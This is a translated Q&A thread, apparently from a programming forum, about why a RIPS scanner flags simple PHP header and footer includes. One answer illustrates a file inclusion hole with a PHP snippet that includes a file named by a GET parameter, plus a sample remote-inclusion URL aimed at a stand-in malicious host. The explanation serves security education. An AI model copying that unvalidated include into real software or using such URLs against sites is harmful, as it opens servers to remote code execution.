Почему простой включаемый файл PHP может быть уязвимым

У меня есть header.php и footer.php, которые я включаю во все другие страницы, такие как главная, контакты, о нас и т. Д.

Я включил верхний и нижний колонтитулы следующим образом:

<?php include 'inc/header.php';
some code
some code
include 'inc/header.php'; ?>

Все просто и отлично работает.

Решил проверить свой проект на уязвимости и скачал сканер RIPS. После сканирования результат

Userinput reaches sensitive sink.

5: include include 'inc/header.php';  // header.php
requires:
     5: if(!in_array($_GET['file'], $files)) else

которые в основном говорят, что и верхний, и нижний колонтитулы уязвимы, и я должен использовать

if(!in_array($_GET['file'], $files)) else

Почему простой включаемый файл заголовка и нижнего колонтитула может оказаться уязвимым? и если уязвим, как мне реализовать if (! in_array ($ _ GET ['file'], $ files)) else ??

header.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
    <title></title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <link rel="icon" href="images/common/lbfavicon.ico" />
    <meta name="author" content="example.com" />
    <link rel="stylesheet" type="text/css" href="template/css/reset.css" media="screen" />
    <link rel="stylesheet" type="text/css" href="template/css/layout.css" media="screen"/>
</head>

<body>
    <div id="header-wrapper">
        <div class="container">
            <div id="nav">
                <ul>
                    <li><a href="./">Home</a></li>
                    <li><a href="index.php?page=about">About</a></li>
                    <li><a href="index.php?page=contact">Contact</a></li>
                </ul>
            </div><!-- nav ends -->
        </div><!-- container ends -->
    </div><!-- header wrapper ends -->

    <div id="header">
        <div class="container">
            <div id="logo">
                <a href="./"><img src="template/images/logo.png" width="125" height="45" alt="logo" /></a>
            </div><!-- logo ends -->
            <div id="search">
                <form method="get" action="searchresult.php">
                    <div class="form-item">
                       Search: <input  type="text" maxlength="120" name="searchfor" />
                    </div>
                </form>
            </div><!-- search ends -->
        </div><!-- container ends-->
    </div><!-- header ends -->

    <div class="container">
        <div id="announcement">
            <div id="breadcrumbs"></div>
        </div><!-- announcement ends -->
        <div id="pagewrapper">

Footer.php

        <div id="bottom">
            <div class="column">
                <h2>Abc.com</h2>
                    <ul>
                        <li><a href="about">About</a></li>
                        <li><a href="contact">Contact</a></li>
                    </ul>
            </div>

            <div class="column">
                <h2>Mode of payment</h2>
                    <ul>
                        <li>Credit/Debit card | Cheque | Demand draft</li>
                    </ul>
                <h2>Get in touch</h2>
                    <ul>
                        <li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
                    </ul>
            </div>

            <div class="column">
                <h2>Call us / Mail us</h2>
                    <ul>
                        <li>0-9999384745 / <a href="mailto:[email protected]">[email protected]</a></li>
                    </ul>
                <h2>Share us</h2>
                    <ul>
                        <li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
                    </ul>
            </div>

            <div style="clear: both;"></div>
        </div> <!-- bottom ends -->

        <div id="footer">

        </div>

        </div> <!--Pagewrapper end-->
    </div>    
</body>
</html>

person Daksh B    schedule 12.05.2015    source источник
comment
Нам нужно больше контекста по коду, содержащемуся в вашем включении, особенно в отношении этого утверждения, которое вы опубликовали. Можете ли вы отредактировать свое сообщение, чтобы добавить больше информации?   -  person Muhammad Abdul-Rahim    schedule 12.05.2015
comment
Для этого вопроса требуется больше кода, похоже, у вас есть уязвимый код в строчном файле в заголовке в строке 5, подумал я.   -  person VeeeneX    schedule 12.05.2015
comment
«Пользовательский ввод достигает чувствительного приемника», если вы не получаете имена файлов из пользовательского ввода, тогда это предупреждение не имеет смысла.   -  person Answers_Seeker    schedule 12.05.2015
comment
@MariM, дай мне пару минут.   -  person Daksh B    schedule 12.05.2015
comment
@VeeeneX, строка 5 включает 'inc / header.php';   -  person Daksh B    schedule 12.05.2015
comment
@Answers_Seeker, хм, ты уверен, дружище?   -  person Daksh B    schedule 12.05.2015
comment
Происходит ли в них вообще какой-либо пользовательский ввод? Я не вижу ничего плохого. Включает только HTML.   -  person Muhammad Abdul-Rahim    schedule 12.05.2015
comment
@MariM, абсолютно никакого пользовательского ввода, просто добавление верхнего и нижнего колонтитула.   -  person Daksh B    schedule 12.05.2015
comment
Можете ли вы опубликовать файл с верхним и нижним колонтитулами? Тот, который вызывает предупреждение со строкой 5.   -  person Muhammad Abdul-Rahim    schedule 12.05.2015
comment
@MariM, я попробовал все это в новом файле index.php, не содержащем ничего, кроме include'inc / header.php 'и include'inc / footer.php'. Получите такое же предупреждение. Исходный индексный файл содержит несколько констант и синтаксический анализатор шаблона.   -  person Daksh B    schedule 12.05.2015


Ответы (1)


Что ж, я полагаю, это просто предупреждение, но в глобальном плане, когда вы включаете сценарии .php, имена которых исходят из пользовательского ввода, вы должны обязательно проверить, правильны ли предоставленные имена или нет (для предотвращения проблем с безопасностью).

Например, многие веб-сайты используют «глобальный» файл, который будет включать файл в соответствии с запросами, поступающими от пользователя.

Пример :

<?php

$get = $_GET['action'];
if ($get == "index") {
   include "includes/index.php";
}
//...
else
{
   include $get .".php";
}

Теперь представим, что кто-то хочет включить какой-нибудь вредоносный скрипт на ваш сайт. Если ваш сервер разрешает межсайтовые запросы, люди могут указать какой-либо внешний скрипт, который может быть опасен для вашего сервера или других пользователей.

Пример: ./global.php?action= http://malicious4ever.com/dirtything.

person Cr3aHal0    schedule 12.05.2015
comment
У этого есть название - уязвимость, связанная с включением файлов. - person Muhammad Abdul-Rahim; 12.05.2015
comment
Спасибо, не знал, что есть конкретное имя :) - person Cr3aHal0; 12.05.2015
comment
@ Cr3aHal0, да, его RFI, удаленное включение файла. Но что плохого в простом включении верхнего и нижнего колонтитула. - person Daksh B; 12.05.2015
comment
Как я уже сказал, это может быть предупреждением, посмотрите ответ @Answers_Seeker выше - person Cr3aHal0; 12.05.2015